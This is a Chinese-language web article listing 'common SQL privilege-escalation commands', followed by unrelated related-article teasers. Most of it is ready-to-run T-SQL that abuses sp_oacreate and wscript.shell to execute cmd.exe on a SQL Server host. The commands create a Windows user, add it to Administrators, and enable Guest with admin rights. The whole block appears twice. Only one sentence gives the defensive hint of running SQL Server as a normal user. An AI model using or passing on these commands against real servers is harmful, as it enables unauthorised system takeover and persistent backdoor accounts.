SQL 提權 常用命令
更新時間：2009年07月24日 00:29:34 作者：
SQL 提權 常用命令，大家可以考慮下將sqlserver的服務運行權限設置為普通用戶，即可防止下面的提權。
1、連接數據庫
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數據庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關于防范方法，可以參考腳本之家服務器安全設置欄目。
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數據庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關于防范方法，可以參考腳本之家服務器安全設置欄目。
相關文章
這篇文章主要介紹了SQL Server兩表數據同步的多種方法，本文通過實例代碼給大家介紹的非常詳細，對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2023-06-06
本文主要介紹了淺談SELECT?*會導致查詢效率低的原因，文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值，需要的朋友們下面隨著小編來一起學習學習吧2023-07-07
with as 公用表表達式類似VIEW，但是不并沒有創(chuàng)建對象，WITH AS 公用表表達式不創(chuàng)建對象，只能被后隨的SELECT語句2019-11-11
CentOS 7.3上SQL Server vNext CTP 1.2安裝教程
這篇文章主要為大家詳細介紹了CentOS 7.3上SQL Server vNext CTP 1.2安裝教程，具有一定的參考價值，感興趣的小伙伴們可以參考一下2017-01-01
SUBSTR函數是用來截取數據庫某一列字段中的一部分，在各個數據庫的函數名稱不一樣，下面為大家介紹其具體的使用2013-11-11
有兩個意義上的重復記錄，一是完全重復的記錄，也即所有字段均重復的記錄，二是部分關鍵字段重復的記錄，比如Name字段重復，而其他字段不一定重復或都重復可以忽略。2010-04-04
GreatSQL 在SQL中如何使用 HINT 語法修改會話變量
GreatSQL推出新的優(yōu)化Hint功能,名為SET_VAR,允許用戶在查詢語句中修改數據庫的會話變量,但只對當前查詢會話生效,不影響其他會話,本文給大家介紹GreatSQL 在SQL中如何使用 HINT 語法修改會話變量,感興趣的朋友一起看看吧2024-10-10
這篇文章主要介紹了SqlServer數據庫遠程連接案例教程,本篇文章通過簡要的案例,講解了該項技術的了解與使用,以下就是詳細內容,需要的朋友可以參考下2021-07-07
本篇文章小編為大家介紹，在SQL Server中實現最短路徑搜索的解決方法。需要的朋友參考下2013-04-04
這篇文章主要為大家詳細介紹了SQL Server評估期已過問題的解決方法，感興趣的小伙伴們可以參考一下2016-03-03